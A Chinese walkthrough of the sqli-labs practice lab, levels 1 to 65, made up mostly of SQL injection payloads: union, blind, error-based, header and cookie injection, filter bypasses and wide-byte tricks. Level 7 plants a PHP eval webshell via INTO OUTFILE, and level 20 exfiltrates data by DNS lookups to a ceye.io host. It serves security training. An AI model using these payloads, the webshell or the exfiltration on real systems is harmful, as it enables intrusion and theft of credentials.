sql-labs通关

目录

Less-1

Less-2

Less-3

 Less-4

 Less-5

Less-6

Less-7

方法一:

方法二:

Less-8

Less-9

Less-10

Less-11

​编辑

 Less-12

Less-13

Less-14

Less-15

Less-16

Less-17

​编辑

Less-18

Less-19

 Less-20

 Less-21

 Less-22

Less-23

​编辑Less-24

Less-25

 Less-25a

 Less-26

Less-26a

Less-27

Less-27a

Less-28

Less-28a

Less-29

​编辑 Less-30

 Less-31

Less-32

 Less-33

Less-34

Less-35

Less-36

Less-37

Less-38

​编辑 Less-39

​编辑

 Less-40

Less-41

Less-42

Less-43

Less-44

​编辑

Less-45

Less-46

 Less-47

Less-48

Less-49

Less-50

Less-51

 Less-52

Less-53

Less-54

Less-55

Less-56

Less-57

Less-58

Less-59

Less-60

Less-61

Less-62

Less-63

Less-64

Less-65


Less-1

通过随机输入id得知用户名和密码, 网址后面接?id=1

 判断 SQL 注入漏洞的类型:1.数字型 2.字符型

用 and 1=1 和 and 1=2 来判断:

数字型:

1.URL 地址后面输入 ?id= 1 and 1=1 页面依旧运行正常,继续进行下一步。

2.URL 地址后面继续输入 ?id= 1 and 1=2 ,页面运行错误,则说明此 SQL 注入为数字型注入。

 字符型:

1.URL 地址后面输入 ?id= 1' and '1'='1 页面依旧运行正常,继续进行下一步。

 2.URL 地址后面继续输入 ?id= 1' and '1'='2 ,页面运行错误,则说明此 SQL 注入为字符型注入。

判断列数

Order by,从1开始逐渐递增,报错时停止。

?id=1' order by 1--+

由此我们可以确认列数为3(4报错)

 

 获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

Less-2

判断注入点

?id=1 and 1=1 发现正常回显

?id=1 and 1=2 发现没有回显,所以为字符型,和第一关差不多就是把引号去了。

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
 

Less-3

当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

 像这样就可以了

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

 Less-4

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

 Less-5

第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
 
 
 

Less-6

第六关和第五关是差不多的,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。

Less-7

方法一:

第七关当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。

方法二:

phpstudy文件读写权限的问题:使用show variables like '%secure%';在命令行中查看secure-file-priy当前的值,如果显示NULL,则需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"

 接着在url写入木马


?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-lab\\Less-7\\anbei.php'--+
写入木马,会在根目录自动生成anbei.php文件

 然后用中国蚁剑进行连接,密码就是cmd

 

Less-8

第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in..进行参照。id参数是一个单引号字符串。

Less-9

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假的,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。


Less-10

基于时间的双引号盲注

第10关和第9关一样只要将 ’ 改为 ” 即可。

Less-11

从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。

当我们输入1时出现错误图片

 当我们输入1',出现报错信息。根据报错信息可以推断该sql语句username='参数' and password='参数'

  知道sql语句我们可以构造一个恒成立的sql语句,看的查询出什么。这里我们使用--+注释就不行,需要换成#来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。其实写过dvwa的朋友会很熟悉。

1' union select 1,2#

 或者实验报错extractvalue()

爆库payload
uname=admin' and extractvalue(1,concat(0x7e,(select database())))#
爆表payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
只能查询到前几个表,后面加上not in ()就可以查到其他表了,如:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) #
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#
爆值payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))#
同样使用not in 可以查询其他值:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))#

 Less-12

当我们输入1'和1时候页面没有反应

 当我们输入1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。

 然后想11关一样构造就好了。

Less-13

这里是post单引号变形双注入

当输入1’)# 并没有回显,显然是盲注。

方法一: 报错型盲注

admin') and extractvalue(1,concat(0x7e,(select database())))#

 方法二:时间型盲注

admin') and if(left(database(),1)='s',sleep(5),1) #

过5秒才会回显。

Less-14

将11题的单引号改成双引号即可。

Less-15

其实和11题一样

admin' and if(length(database())=8,sleep(5),1)#
admin' and if(left(database(),1)='s',sleep(5),1)#
admin' and if(left(database(),8)='security',sleep(5),1)#
admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)#
admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)#
admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)#
admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)#

Less-16

基于bool型/时间延迟的双引号POST型盲注

uname=admin") and 1=1 #
uname=admin") and 1=2 #

 后续和之前一样。

Less-17

基于POST密码报错注入
update的注入
使用updatexml(),它和extractvaule()类似

第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。

所有的uname=admin ,password输入如下。

爆库payload
passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #
爆表名payload
passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
爆列名payload
passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1)# 
爆值payload
passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) #
或者
 passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) #

 exttractvalue报错注入

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 
 爆字段名
 
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                      爆字段内容。
 

 group by报错注入

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#     爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#      爆数据库版本
 
 
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#    通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#        爆出所有表
 
 
 
 
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#    爆出所有字段名
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#    爆出所有字段名
 
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#    爆出该账户的密码。
 
 
 
 
 
 

Less-18

User-Agent: 浏览器表明自己的身份(是哪种浏览器)。这里我们抓包后从User-Agent处进行注入
这里要注意语句的闭合,用bp抓改了。

  大家可以自己报错注入方式进行注入,updatexml和extractvalue报错注入爆出来的数据长度是有限的。

1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users),0x5c)))#   爆账户密码。
1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#   爆账户密码。
 
 

Less-19

单引号,报错型,referer型注入点。
Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中。

依旧bp

爆库
Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

 Less-20

基于’的Cookie:报头文报错注入

抓登入的包,将请求方法改为GET,构造cookie请求头

前面都用腻了,这里试一下DNSlog注入

Cookie: uname=admin' and load_file(concat('\\\\',database(),'.z30z4j.ceye.io\\aaa')) #
Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(column_name separator '_') from information_schema.columns where table_schema = database() and table_name = 'users'),1,63),'.z30z4j.ceye.io\\aaa')) #
Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(password separator '_') from users),1,63),'.z30z4j.ceye.io\\aaa')) #

 

 Less-21

基于错误的复杂的字符型Cookie注入

对uname进行了base64加密,需要上传paylaod的时候base64加密.

admin' and 1=1 --+    //明文
YWRtaW4nIGFuZCAxPTEgLS0r    //密文

 Less-22

 基于错误的双引号字符型Cookie注入

双引号,报错型,cookie型注入。
和less-21一样的,只需要使用双引号代替单引号再取掉括号,其他同上

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

Less-23

基于错误的,过滤注释的get型

就是把注释过滤了

爆库payload
?id=' union select 1,2,database() '

爆表payload
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆列名payload
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆值payload
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '


Less-24

 二次注入

1.注册一个admin’#123的账号,密码随意 。

 2.登录admin’#123该,修改该账号的密码,此时修改的就是admin的密码,我修改为555。

成功的话跳转页面会提示Password successfully updated

3.用刚修改的密码我的是555,登陆admin管理员账号,就可以成功登陆。

Less-25

 过滤了or和and

再第一步测试是字符型还是数值型的时候,会发现再使用and的时候,没有显示,此时要想到是否过滤了一些字符
可以使用双写挨个测试

?id=1' oorr 1=1 --+
?id=1' aandnd 1=1 --+

 Less-25a

过滤了or和and的盲注

盲注怎么判断过滤了and跟or呢,直接在前面添加or或and

 试试下面代码

?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+

 Less-26

单引号闭合 过滤了 or,and , /* , – , # , 空格 , /

%A0替代空格 &&替换and 注意url编码 需要linux
1'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1
一些绕过姿势
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

Less-26a

该关卡和二十六关差不多,多了一个括号。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注。

Less-27

关键字大小写就行了

查找注入点,报错
http://127.0.0.1/sqlilabs/Less-27/?id=1'
使用http://127.0.0.1/sqlilabs/Less-27/?id=1' -- -发现报错,此时就要考虑是否存在空格或者注释过滤

依然使用;%00进行注释
http://127.0.0.1/sqlilabs/Less-27/?id=1';%00

此时要判断是否是oeder by 或者空格过滤
使用%a0代替空格
http://127.0.0.1/sqlilabs/Less-27//?id=1’%a0order%a0by%a03;%00

Less-27a

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
 
 
###?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1
 
 
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

Less-28

该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
 
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
 
 
 
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1
 
 

Less-28a

该关卡只过滤union+select。其他没有过滤。

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
 

Less-29

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
 
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
 
 
?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
爆密码账户
 
 


 Less-30

三十关和二十九关差不多,将单引号换成双引号

?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
 
?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+

 Less-31

三十一关和三十关差不多,多了一个括号

?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
 
?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+

Less-32

第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

宽字节注入基础
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%DF’ :会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”

常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)

?id=1’ 我们的输入经过加工变成了1’,发现被转义
按照宽字节注入的知识 %df’ 或者 %df%27

?id=-1%df%27%20union%20select%201,database(),3%20--+
 
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
 
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
 
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

 Less-33

第三十二关和三十三关一模一样

Less-34

三十四关是post提交,使用addslashes函数对于账户和密码都进行转义,使用宽字节注入就行。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名
 
 
1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户

Less-35

使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
 
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
 
?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+

Less-36

使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面三十二关一样

Less-37

三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名
1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户
 
 

Less-38

三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+  查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+   查询密码账户
 


 Less-39

id参数是整数,正常联合注入就行。

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
 
 
 
?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users

 Less-40

四十关id参数是单引号加括号闭合,然后使用联合注入就可以了

?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
 
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+

Less-41

四十一关和三十九关一样,id是整数。

Less-42

四十二关是因为账户进行了转义处理密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。用bp抓包改一下就行了。

login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login

Less-43

四十三关和四十二关差不多,就是密码参数是单引号和括号闭合的。

login_user=1&login_password=1'); insert into users(id,username,password) values ('44','less34','123456')--+&mysubmit=Login

Less-44

四十四关和四十二关一样

但是输入usename=admin,然后在password输入以下

' or '1
-1' union select 1,2,3#

Less-45

四十五关和四十三关一样

Less-46

使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错。

?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))

 Less-47

四十七关和四十六差不多,多了一个单引号闭合,可以使用报错注入

Less-48

输入?sort=1

没有报错,可以采取盲注(布尔盲注、时间盲注)

?sort=rand(true)

 ?sort=rand(false)

 ?sort=3

回显正常

  ?sort=4

爆表名
?sort=rand(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)>'e')

得到的结果与rand(false)相同

说明这个条件错误

或者(时间盲注)

?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)
 

Less-49

闭合方式变为' 四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。

猜解数据库

?sort=-1' and if((ASCII(subset(database(),1,1))=115), sleep(10),1) -±

Less-50

堆叠注入与order by

?sort=1;insert into users(id, username, password)values(100,'721721','127'); --+

Less-51

改为单引号闭合

?sort=1';insert into users(id,username,password)values(100,'721','721'); --+

 Less-52

类似于Less-48,没有报错回显,使用时间盲注

?sort=1;insert into users(id,username,password)values(100,'721','721'); --+

Less-53

闭合方式为单引号

?sort=1';insert into users(id,username,password)values(100,'721','721'); --+

Less-54

仅允许我们输入十次语句,十次语句时候该靶场就会对里面所有的库名,表名,列名进行一个刷新。

爆破数据库

?id=-1' union select 1,2,database() --+

Less-55

闭合方式为  ) ,其他同上

爆破数据库

?id=-1) union select 1,2,database() --+

爆破8k8nkr7hq5表的列

?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='8k8nkr7hq5' --+

Less-56

同上, 闭合方式为  ')

爆破数据库

?id=-1') union select 1,2,database() --+

Less-57

同上,闭合方式为  "

爆破数据库

?id=-1" union select 1,2,database() --+

Less-58

五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。


?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名 放在url里


 

Less-59

类似于Less-58

 爆破数据库

?id=-1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-60

六十关根据报错信息可知id参数是双引号加括号。

?id=-1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+

查询secret_Q4RW:

?id=-1") and updatexml(1,concat(0x7e,(select secret_Q4RW from tktfg5ywhx),0x7e),1) --+

Less-61

闭合方式为 '))

爆破数据库

?id=-1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-62

union select无法使用且没有报错返回

使用时间盲注

猜解数据库名

?id=1') and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+

ASCII中99对于字母“c”


?id=1%27) and if(length((select database()))=10,sleep(5),1)--+  时间注入,如果出现延迟表示该数据库名长度是10  
?id=1%27)and length((select database()))=10--+  布尔盲注

Less-63

六十三关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。第五关(布尔盲注),第九关(时间注入)

Less-64

))闭合

?id=1)) and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+

Less-65

")闭合

?id=1") and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值